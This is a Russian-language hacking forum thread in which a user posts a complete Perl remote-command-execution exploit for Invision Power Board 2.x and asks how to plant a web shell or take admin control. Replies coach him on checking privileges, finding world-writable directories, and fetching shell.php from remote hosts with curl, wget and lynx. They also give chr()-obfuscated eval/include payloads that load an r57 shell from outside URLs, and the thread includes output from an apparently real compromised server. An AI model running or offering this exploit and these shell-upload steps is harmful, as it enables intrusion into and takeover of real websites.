Кароч расклад такой... Воспользовался сплоитом все ок команды выполняются. ТОлько вот шелл заоить не могу, видимо отключены команды. ПОДСКАЖИТЕ ПЛИЗ КАК, сломать форум иль заити как АДМИН зарание благодарен САМ. PHP: #!/usr/bin/perl ## Invision Power Board 2.* commands execution exploit by RST/GHC ## vulnerable versions <= 2.1.5 ## tested on 2.1.4, 2.0.2 ## ## (c)oded by 1dt.w0lf ## RST/GHC ## http://rst.void.ru ## http://ghc.ru use IO::Socket; use Getopt::Std; getopts("l:h:p:d:f:v:"); $host = $opt_h; $dir = $opt_d; $login = $opt_l; $password = $opt_p; $forum = $opt_f; $version = $opt_v || 0; $|++; header(); if(!$host||!$dir||!$login||!$password||!$forum) { usage(); } print "[~] SERVER : $host\r\n"; print "[~] PATH : $dir\r\n"; print "[~] LOGIN : $login\r\n"; print "[~] PASSWORD : $password\r\n"; print "[~] TARGET : $version"; print (($version)?(' - IPB 2.1.*'):(' - IPB 2.0.*')); print "\r\n"; { print "\r\nCommand for execute or 'exit' for exit "; while(<STDIN>) { $cmd=$_; chomp($cmd); exit() if ($cmd eq 'exit'); last; } $len = length($cmd); for ($i=0; $i<$len; $i++) { $s = substr($cmd,$i,1); $out.="chr(".ord($s).")"; if($i != $len-1) { $out.="."; } } $out = "$out)."."chr(59).exit"; } print "[~] Login ... "; $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED"; $login =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $password =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $post = 'UserName='.$login.'&PassWord='.$password; $loggedin = 0; print $sock "POST ${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n"; print $sock "Host: $host\r\n"; print $sock "Connection: close\r\n"; print $sock "Content-Type: application/x-www-form-urlencoded\n"; print $sock "Content-length: ".length($post)."\r\n\r\n"; print $sock "$post"; print $sock "\r\n\r\n"; while (<$sock>) { if(/session_id=([a-f|0-9]{32})/) { $sid = $1; } } $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED"; print $sock "GET ${dir}index.php HTTP/1.1\r\n"; print $sock "Host: $host\r\n"; print $sock "Cookie: session_id=$sid;\r\n"; print $sock "Connection: close\r\n\r\n"; while (<$sock>) { if(/act=Login&CODE=03/) { $loggedin = 1; last; } } if($loggedin) { print " [ DONE ]\r\n"; } else { print " [ FAILED ]\r\n"; exit(); } print "[+] SID: $sid\r\n"; print "[~] Try get md5_check ..."; $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED"; if($version==1) { print $sock "GET ${dir}index.php?act=post&do=new_post&f=${forum} HTTP/1.1\r\n"; } else { print $sock "GET ${dir}index.php?act=Post&CODE=00&f=${forum} HTTP/1.1\r\n"; } print $sock "Host: $host\r\n"; print $sock "Cookie: session_id=$sid;\r\n"; print $sock "Connection: close\r\n\r\n"; while (<$sock>) { if($version == 1 && /ipb_md5_check\s*= \"([a-f|0-9]{32})\"/) { $md5_check = $1; last; } if($version == 0 && /auth_key' value='([a-f|0-9]{32})/) { $md5_check = $1; last; } } close($sock); if($md5_check) { print " [ DONE ]\r\n"; print "[+] MD5_CHECK : $md5_check\r\n"; } else { print " [ FAILED ]\r\n"; exit(); } print "[~] Create new message ..."; $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED"; $created = 0; $text = 'eval(system('.$out.'()); //'; $post = "st=0&act=Post&s=&f=${forum}&auth_key=${md5_check}&removeattachid=0&CODE=01&post_key=&TopicTitle=Wazzzup&TopicDesc=&poll_question=&ffont=0&fsize=0&Post=${text}&enableemo=yes&enablesig=yes&iconid=0"; print $sock "POST ${dir}index.php HTTP/1.1\r\n"; print $sock "Host: $host\r\n"; print $sock "Cookie: session_id=$sid;\r\n"; print $sock "Connection: close\r\n"; print $sock "Content-Type: application/x-www-form-urlencoded\n"; print $sock "Content-length: ".length($post)."\r\n\r\n"; print $sock "$post"; print $sock "\r\n\r\n"; while (<$sock>) { if(/Location:/) { $created = 1; last; } } if($created) { print " [ DONE ]\r\n"; } else { print " [ FAILED ]\r\n"; exit(); } $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED"; print "[~] Search message ..."; $post = 'keywords=eval&namesearch='.$login.'&forums%5B%5D=all&searchsubs=1&prune=0&prune_type=newer&sort_key=last_post&sort_order=desc&search_in=posts&result_type=posts'; print $sock "POST ${dir}index.php?act=Search&CODE=01 HTTP/1.1\r\n"; print $sock "Host: $host\r\n"; print $sock "Cookie: session_id=$sid;\r\n"; print $sock "Connection: close\r\n"; print $sock "Content-Type: application/x-www-form-urlencoded\n"; print $sock "Content-length: ".length($post)."\r\n\r\n"; print $sock "$post"; print $sock "\r\n\r\n"; while (<$sock>) { if(/searchid=([a-f|0-9]{32})/) { $searchid = $1; last; } } if($searchid) { print " [ DONE ]\r\n"; } else { print "[ FAILED ]\r\n"; exit(); } print "[+] SEARCHID: $searchid\r\n"; $get = 'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&result_type=posts&highlite=eval&lastdate=z|eval.*?%20//)%23e%00'; print "Go to URL:\n ".$host.$dir.$get.""; sub header() { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~\r\n"; print " Invision Power Board 2.* commands execution exploit by RST/GHC\r\n"; print " eDiTeD by DimaHbl4\r\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~\r\n"; } sub usage() { print "r57ipbce.pl -h <host> -d <dir> -l <login> -p <password> -f <forum> -v <version>\r\n\r\n"; print "<host> - host where IPB installed e.g www.ipb.com\r\n"; print "<dir> - folder where IPB installed e.g. /forum/ , /ipb/ , etc...\r\n"; print "<login> - login of any exist user\r\n"; print "<password> - and password too )\r\n"; print "<forum> - number of forum where user can create topic e.g 2,4, etc\r\n"; print "<version> - forum version:\r\n"; print " 0 - 2.0.*\r\n"; print " 1 - 2.1.*\r\n"; exit(); }
Напиши тут вывод след-их команд: id uname -a which lynx links get wget fetch curl Ну и далее, найди директорию или файл с правами на запись. А дальше поможем залить шелл )).
id uid=501(www) gid=501(www) groups=501(www) uname -a Linux zmaximum.ru 2.6.11.5zm1_avi_smp #16 SMP Mon Oct 24 18:41:58 MSD 2005 i686 unknown unknown GNU/Linux ls -l total 1192 -rwxrwxrwx 1 dmitri elistagrp 12397 Jan 28 2006 admin.php drwxrwxrwx 2 dmitri elistagrp 4096 Jan 25 2006 blog -rw-r--r-- 1 dmitri elistagrp 138974 Jan 28 2006 blog_templates.xml drwxrwxrwx 4 dmitri elistagrp 4096 Jan 28 2006 cache drwxr-xr-x 2 dmitri elistagrp 4096 Sep 22 10:31 camera -rwxrwxrwx 1 dmitri elistagrp 8747 Oct 3 02:19 conf_global.php -rw-r--r-- 1 dmitri elistagrp 5535 Mar 8 2006 d21_aaimy_data.xml -rw-r--r-- 1 dmitri elistagrp 122326 Jan 28 2006 d21_shoutbox_data.xml -rw-r--r-- 1 dmitri elistagrp 2468 Mar 8 2006 d21_sma_data.xml -rw-r--r-- 1 dmitri elistagrp 3823 Mar 8 2006 fade.js -rw-r--r-- 1 dmitri elistagrp 1406 Jan 28 2006 favicon.ico -rwxrwxrwx 1 dmitri elistagrp 75504 Jan 28 2006 gallery_templates.xml drwxr-xr-x 3 dmitri elistagrp 4096 Jul 30 15:34 html -rwxrwxrwx 1 dmitri elistagrp 20038 Mar 9 2006 index.php -rw-r--r-- 1 dmitri elistagrp 6055 Jan 28 2006 init.php -rwxrwxrwx 1 dmitri elistagrp 447830 Jun 29 12:03 ipb_templates.xml -rwxrwxrwx 1 dmitri elistagrp 7678 Jan 28 2006 ipchat.php drwxrwxrwx 4 dmitri elistagrp 4096 Aug 9 11:08 ips_kernel drwxrwxrwx 2 dmitri elistagrp 4096 Aug 9 11:03 jscripts drwxrwxrwx 5 dmitri elistagrp 4096 Jan 23 2006 lang drwxrwxrwx 2 dmitri elistagrp 4096 Jan 23 2006 lofiversion -rw-r--r-- 1 dmitri elistagrp 21983 Feb 22 2006 mlite_settings.xml -rw-r--r-- 1 dmitri elistagrp 145041 Feb 22 2006 mlite_templates.xml drwxrwxrwx 6 dmitri elistagrp 4096 Oct 3 02:48 modules -rw-r--r-- 1 dmitri elistagrp 35439 Feb 13 2006 preview.PNG drwxrwxrwx 2 dmitri elistagrp 4096 Jan 23 2006 retail drwxrwxrwx 4 dmitri elistagrp 4096 Jan 24 2006 skin_acp drwxrwxrwx 7 dmitri elistagrp 4096 Jan 27 2006 skin_cache drwxrwxrwx 21 dmitri elistagrp 4096 Mar 8 2006 sources drwxrwxrwx 8 dmitri elistagrp 4096 May 31 15:10 style_avatars drwxrwxrwx 3 dmitri elistagrp 4096 Feb 20 2006 style_emoticons drwxrwxrwx 15 dmitri elistagrp 4096 Aug 15 16:27 style_images drwxrwxrwx 26 dmitri elistagrp 4096 Jan 28 2006 upgrade drwxrwxrwx 14 dmitri elistagrp 40960 Oct 26 22:41 uploads -rw-r--r-- 1 dmitri elistagrp 1012 Jun 21 09:02 winamp.gif А какие папкм доступные на запись???
samsam найди доступные папки-файлы на запись... find /дира сайта/ -perm -2 -ls (и то и то ищет) find /дира сайта/ -type d -perm -2 -ls (только папки доступные на запись) PS лол ))) ваще не понятно где шелл лежит.. )) пропалился ты чувак..
проверь вывод команды id и глянь там за какого ты там пользователя команды выполняешь, потом ищи папки созданные этим пользователем и заливай туды
id uid=501(www) gid=501(www) groups=501(www) ls -l total 1192 -rwxrwxrwx 1 dmitri elistagrp 12397 Jan 28 2006 admin.php drwxrwxrwx 2 dmitri elistagrp 4096 Jan 25 2006 blog -rw-r--r-- 1 dmitri elistagrp 138974 Jan 28 2006 blog_templates.xml drwxrwxrwx 4 dmitri elistagrp 4096 Jan 28 2006 cache drwxr-xr-x 2 dmitri elistagrp 4096 Sep 22 10:31 camera -rwxrwxrwx 1 dmitri elistagrp 8747 Oct 3 02:19 conf_global.php -rw-r--r-- 1 dmitri elistagrp 5535 Mar 8 2006 d21_aaimy_data.xml -rw-r--r-- 1 dmitri elistagrp 122326 Jan 28 2006 d21_shoutbox_data.xml -rw-r--r-- 1 dmitri elistagrp 2468 Mar 8 2006 d21_sma_data.xml -rw-r--r-- 1 dmitri elistagrp 3823 Mar 8 2006 fade.js -rw-r--r-- 1 dmitri elistagrp 1406 Jan 28 2006 favicon.ico -rwxrwxrwx 1 dmitri elistagrp 75504 Jan 28 2006 gallery_templates.xml drwxr-xr-x 3 dmitri elistagrp 4096 Jul 30 15:34 html -rwxrwxrwx 1 dmitri elistagrp 20038 Mar 9 2006 index.php -rw-r--r-- 1 dmitri elistagrp 6055 Jan 28 2006 init.php -rwxrwxrwx 1 dmitri elistagrp 447830 Jun 29 12:03 ipb_templates.xml -rwxrwxrwx 1 dmitri elistagrp 7678 Jan 28 2006 ipchat.php drwxrwxrwx 4 dmitri elistagrp 4096 Aug 9 11:08 ips_kernel drwxrwxrwx 2 dmitri elistagrp 4096 Aug 9 11:03 jscripts drwxrwxrwx 5 dmitri elistagrp 4096 Jan 23 2006 lang drwxrwxrwx 2 dmitri elistagrp 4096 Jan 23 2006 lofiversion -rw-r--r-- 1 dmitri elistagrp 21983 Feb 22 2006 mlite_settings.xml -rw-r--r-- 1 dmitri elistagrp 145041 Feb 22 2006 mlite_templates.xml drwxrwxrwx 6 dmitri elistagrp 4096 Oct 3 02:48 modules -rw-r--r-- 1 dmitri elistagrp 35439 Feb 13 2006 preview.PNG drwxrwxrwx 2 dmitri elistagrp 4096 Jan 23 2006 retail drwxrwxrwx 4 dmitri elistagrp 4096 Jan 24 2006 skin_acp drwxrwxrwx 7 dmitri elistagrp 4096 Jan 27 2006 skin_cache drwxrwxrwx 21 dmitri elistagrp 4096 Mar 8 2006 sources drwxrwxrwx 8 dmitri elistagrp 4096 May 31 15:10 style_avatars drwxrwxrwx 3 dmitri elistagrp 4096 Feb 20 2006 style_emoticons drwxrwxrwx 15 dmitri elistagrp 4096 Aug 15 16:27 style_images drwxrwxrwx 26 dmitri elistagrp 4096 Jan 28 2006 upgrade drwxrwxrwx 14 dmitri elistagrp 40960 Oct 26 22:41 uploads -rw-r--r-- 1 dmitri elistagrp 1012 Jun 21 09:02 winamp.gif И ГДЕ ТАМ МОЙ ID????
права не ахти ))) глянул вывод команды ls -al, там же есть папки drwxrwxrwx вот попробуй туда заливать curl --output /kuda/zalivaem/shell.php http://otkuda.zalivaem.com/shell.txt fetch -o /kuda/zalivaem/shell.php http://otkuda.zalivaem.com/shell.txt wget -o /kuda/zalivaem/shell.php http://otkuda.zalivaem.com/shell.txt get http://otkuda.zalivaem.com/shell.txt > /kuda/zalivaem/shell.php links -source "http://otkuda.zalivaem.com/shell.txt" > /kuda/zalivaem/shell.php lynx -source http://otkuda.zalivaem.com/shell.txt > /kuda/zalivaem/shell.php
Ни фига не че не выполняется Ситуация такая C:\>1.pl -h www.site.org -d /forums/ -l user -p pass -f 22 -v 0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Invision Power Board 2.* commands execution exploit by RST/GHC ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [~] SERVER : www.site.org [~] PATH : /forums/ [~] LOGIN : user [~] PASSWORD : pass [~] TARGET : 0 - IPB 2.0.* [~] Login ... [ DONE ] [+] SID: 758a3333eaf4c82485785c17be49d61f [~] Try get md5_check ... [ DONE ] [+] MD5_CHECK : 3f1f3e57fec974df1360c447cef364fb [~] Create new message ... [ DONE ] [~] Search message ... [ DONE ] [+] SEARCHID: b8d3ddbfcbf65b005eefecbb7191811c Command for execute or 'exit' for exit #curl -o /tmp/shell.php http://site.ru/shell.php Go to www.site.org/forums/index.php?act=Search&CODE=show&searchid=45cf31c70a91f57ddcb09792b06d876e&search_in=posts&result_type=posts&highlite=eval&lastdate=z|eval.*?%20//)%23e%00 Перехожу на эту страницу она пустая. Хочу запустить шел типа ввожу строку www.site.org/forums/tmp/shell.php ответ прост Not Found The requested URL http://www.site.org/forums/tmp/r.php was not found on this server. Помогите кто чем может.
А нелутче тебе руками попробывать пороботать запостить пост с Чарсет и заинклудить шелл о РСТ Постиш пост например : PHP: eval( chr(105). chr(110). chr(99). chr(108). chr(117). chr(100). chr(101). chr(32). chr(34). chr(104). chr(116). chr(116). chr(112). chr(58). chr(47). chr(47). chr(104). chr(105). chr(109). chr(97). chr(115). chr(50). chr(48). chr(48). chr(53). chr(46). chr(110). chr(97). chr(114). chr(111). chr(100). chr(46). chr(114). chr(117). chr(47). chr(114). chr(53). chr(55). chr(115). chr(104). chr(101). chr(108). chr(108). chr(46). chr(112). chr(104). chr(112). chr(34). chr(59). chr(47). chr(42). chr(32) ); // Потом идёш в поиск пиши в поиске найти "Filter by Member Name (optional)" пишеш свой ник и ставиш "*" напротив "Show results as posts" и жмеш поиск потом в конец формы вставляеш "eval&lastdate=z|eval.*?%20//)%23e%00" и всё шелл от РСТ у тебя
Вот ты говорш постим пост а что в нем зашифрованно и как потом запустит шелл.??? Если не сложно то ответь!!! Может давайц по асе спишемся??
1. Постим сообщение eval(system(dir)); //' 2. В поиске ищем по своему нику все сообщения и не забываем поставить галочку на Show results as posts 3. В конце url дописываем &lastdate=z|eval.*?%20//)%23e%00 4. Enter. Выполняется dir.
1. Постим сообщение eval(system(dir)); //' А лучше постить такое сообщение eval(include(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(115).chr(101).chr(114).chr(103).chr(101).chr(121).chr(120).chr(108).chr(46).chr(98).chr(121).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53).chr(55).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112))); // и вуаля мы видим нам знакомый шелл.